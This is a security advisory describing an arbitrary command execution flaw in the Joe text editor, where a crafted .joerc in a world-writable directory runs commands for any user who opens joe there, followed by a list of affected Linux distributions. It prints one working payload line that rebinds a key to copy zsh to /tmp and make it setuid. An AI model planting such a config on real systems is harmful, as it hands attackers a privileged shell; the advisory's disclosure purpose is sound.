Title: Joe Text Editor .joerc Arbitrary Command Execution Vulnerability
Severity: LOW
Description:
Joe is a text editor originally written by Joseph Allen. Joe offers a user-friendly interface, with key binding and configuration familiar to many users of Microsoft Word Processing tools.
A problem in the sourcing of the .joerc file could lead to arbitrary execution of commands. By design, joe searches for it's configuration (.joerc) file in three different places. These places are the Current Working Directory (CWD), $HOME/.joerc, and /usr/local/lib/joerc. By creating a custom crafted .joerc file in a world writable directory, a person editing a file in the world writable directory would execute arbitrary commands when starting joe.
By adding such lines as the following, a malicious user could change the key bindings, taking normal key bindings from the users .joerc in $HOME, and making them do malicious things like create a SUID shell in /tmp:
:def spellfile filt,"cat >ispell.tmp;ispell ispell.tmp </dev/tty>/dev/tty;cat ispell.tmp;/bin/rm ispell.tmp;cp /bin/zsh /tmp/suid; chmod 4755 /tmp/suid",rtn,retype
Affected Products:
- Conectiva Linux 4.0.0
- Conectiva Linux 4.0.0 es
- Conectiva Linux 4.1.0
- Conectiva Linux 4.2.0
- Conectiva Linux 5.0.0
- Conectiva Linux 5.1.0
- Conectiva Linux 6.0.0
- Conectiva Linux ecommerce
- Conectiva Linux graficas
- Joseph Allen joe 2.8.0
- MandrakeSoft Linux Mandrake 6.0.0
- MandrakeSoft Linux Mandrake 6.1.0
- MandrakeSoft Linux Mandrake 7.0.0
- MandrakeSoft Linux Mandrake 7.1.0
- MandrakeSoft Linux Mandrake 7.2.0
- RedHat Linux 5.2.0 alpha
- RedHat Linux 5.2.0 i386
- RedHat Linux 5.2.0 sparc
- RedHat Linux 6.0.0
- RedHat Linux 6.0.0 alpha
- RedHat Linux 6.0.0 sparc
- RedHat Linux 6.1.0 alpha
- RedHat Linux 6.1.0 i386
- RedHat Linux 6.1.0 sparc
- RedHat Linux 6.2.0 alpha
- RedHat Linux 6.2.0 i386
- RedHat Linux 6.2.0 sparc
- RedHat Linux 7.0.0
- RedHat joe-2.8-18.i386.rpm 0.0.0
- RedHat joe-2.8-40.i386.rpm 0.0.0
- Slackware Linux 7.1.0
- WireX Immunix OS 6.2.0
- WireX Immunix OS 7.0.0 -Beta
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